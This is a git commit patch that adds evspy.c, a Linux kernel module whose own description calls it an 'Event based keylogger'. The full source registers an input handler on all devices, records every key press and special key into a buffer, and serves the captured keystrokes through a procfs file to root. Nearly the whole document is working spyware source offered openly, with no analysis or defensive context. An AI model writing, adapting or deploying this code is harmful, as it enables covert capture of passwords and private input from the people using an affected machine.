From 0984403a3dccd78faf0ce790ca7929927cc07349 Mon Sep 17 00:00:00 2001 From: Guillermo Ramos Date: Fri, 9 Sep 2011 16:26:08 +0200 Subject: First github commit --- evspy.c | 272 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 272 insertions(+) create mode 100644 evspy.c (limited to 'evspy.c') diff --git a/evspy.c b/evspy.c new file mode 100644 index 0000000..39e87f3 --- /dev/null +++ b/evspy.c @@ -0,0 +1,272 @@ +/* + * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com> + * based on evbug module by Vojtech Pavlik ((c) 1999-2001) + */ + +/* + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * Should you need to contact me, the author, you can mail your message to + * <0xwille@gmail.com> + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "evspy.h" + + +static char *buffer; // circular buffer +static char *rdp; // read pointer +static char *wrp; // write pointer +static char *map = EVS_MAP; // current keyboard layout +static unsigned int capslock_state = EVS_VAL_FREE; + +// This is how special keys will be displayed (+: pressed / -: freed) +static char sp_tag[] = "<+XXX>"; + +/* + * Executed when the procfs file is read (EVS_PROCNAME) + */ +int evspy_read_proc(char *page, char **start, off_t offset, int count, + int *eof, void *data) +{ + int n, toend; + int retval = 0; + int diff = wrp - rdp; + + // root only plz + if (current_uid() || current_euid()) { +#if EVS_TROLL == 1 + n = MIN(36, count); + strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n); + *eof = 1; + return n; +#else + return -EPERM; +#endif + } + + // wrp > rdp: read from rdp to wrp + if (diff > 0) { + n = MIN(diff, count); + strncpy(page, rdp, n); + rdp += n; + retval = n; + + // rdp > wrp: read from rdp to end of buffer and then from the beginning of + // the buffer to wrp + } else if (diff < 0) { + toend = (buffer + EVS_BUFSIZE) - rdp; + n = MIN(toend, count); + strncpy(page, rdp, n); + retval = n; + + if (n < toend) { + rdp += n; + } else { + n = MIN(wrp - buffer, count - retval); + strncpy(page + retval, buffer, n); + retval += n; + rdp = buffer + n; + } + } + + // wrp == rdp: buffer is empty + if (rdp == wrp) + *eof = 1; + return retval; +} + +/* + * Handle unknown/special key events + */ +static void special_char(unsigned int code, unsigned int value) +{ + int i; + int known = 1; + + // We need to know when some special keys are freed; add them here + switch(code) { + case KEY_LEFTSHIFT: + case KEY_RIGHTSHIFT: + case KEY_LEFTALT: + case KEY_RIGHTALT: + case KEY_LEFTCTRL: + case KEY_RIGHTCTRL: + break; + default: + if (value == EVS_VAL_FREE) + return; + } + + switch(code) { + case KEY_RIGHTSHIFT: + case KEY_LEFTSHIFT: + strncpy(sp_tag+2, "SFT", 3); + break; + case KEY_LEFTALT: + strncpy(sp_tag+2, "ALT", 3); + break; + case KEY_RIGHTALT: + strncpy(sp_tag+2, "AGR", 3); + break; + case KEY_LEFTCTRL: + case KEY_RIGHTCTRL: + strncpy(sp_tag+2, "CTR", 3); + break; + case KEY_TAB: + strncpy(sp_tag+2, "TAB", 3); + break; + case KEY_ESC: + strncpy(sp_tag+2, "ESC", 3); + break; + case KEY_UP: + strncpy(sp_tag+2, " ^ ", 3); + break; + case KEY_DOWN: + strncpy(sp_tag+2, " v ", 3); + break; + case KEY_LEFT: + strncpy(sp_tag+2, " < ", 3); + break; + case KEY_RIGHT: + strncpy(sp_tag+2, " > ", 3); + break; + default: + known = 0; + } + + if (!known && evs_isfX(code)) + strncpy(sp_tag+2, "F??", 3); + else if (!known) + return; + + if (value == EVS_VAL_PRESS) + sp_tag[1] = '+'; + else if (value == EVS_VAL_FREE) + sp_tag[1] = '-'; + + for (i = 0; i < sizeof(sp_tag) - 1; i++) + evs_insert(sp_tag[i]); +} + +static void evspy_event(struct input_handle *handle, unsigned int type, + unsigned int code, int value) +{ + // Ignore hold-key events + if (unlikely(value == EVS_VAL_HOLD)) + return; + + // If caps lock is pressed, handle it the same way as left shift + if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) { + capslock_state = !capslock_state; + special_char(KEY_LEFTSHIFT, capslock_state); + return; + } else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) { + return; + } + + // Special/unknown keys (alt, ctrl, esc, mayus, etc) + if (map[code] == '.' && likely(code != KEY_DOT)) + special_char(code, value); + + // "Direct" keys (alphanumeric + some symbols) + else if (value == EVS_VAL_PRESS) + evs_insert(map[code]); +} + +static int evspy_connect(struct input_handler *handler, struct input_dev *dev, + const struct input_device_id *id) +{ + struct input_handle *handle; + int error; + + handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL); + if (!handle) + return -ENOMEM; + + handle->dev = dev; + handle->handler = handler; + handle->name = EVS_NAME; + + error = input_register_handle(handle); + if (error) + goto err_free_handle; + + error = input_open_device(handle); + if (error) + goto err_unregister_handle; + + return 0; + + err_unregister_handle: + input_unregister_handle(handle); + err_free_handle: + kfree(handle); + return error; +} + +static void evspy_disconnect(struct input_handle *handle) +{ + input_close_device(handle); + input_unregister_handle(handle); + kfree(handle); +} + +static const struct input_device_id evspy_ids[] = { + { .driver_info = 1 }, /* Matches all devices */ + { }, /* Terminating zero entry */ +}; + +MODULE_DEVICE_TABLE(input, evspy_ids); + +static struct input_handler evspy_handler = { + .event = evspy_event, + .connect = evspy_connect, + .disconnect = evspy_disconnect, + .name = EVS_NAME, + .id_table = evspy_ids, +}; + +static int __init evspy_init(void) +{ + create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL); + buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL); + rdp = buffer; + wrp = buffer; + return !buffer || input_register_handler(&evspy_handler); +} + +static void __exit evspy_exit(void) +{ + kfree(buffer); + remove_proc_entry(EVS_PROCNAME, NULL); + input_unregister_handler(&evspy_handler); +} + +module_init(evspy_init); +module_exit(evspy_exit); + +MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>"); +MODULE_DESCRIPTION("Event based keylogger"); +MODULE_LICENSE("GPL"); +MODULE_VERSION("0.1"); -- cgit v1.2.3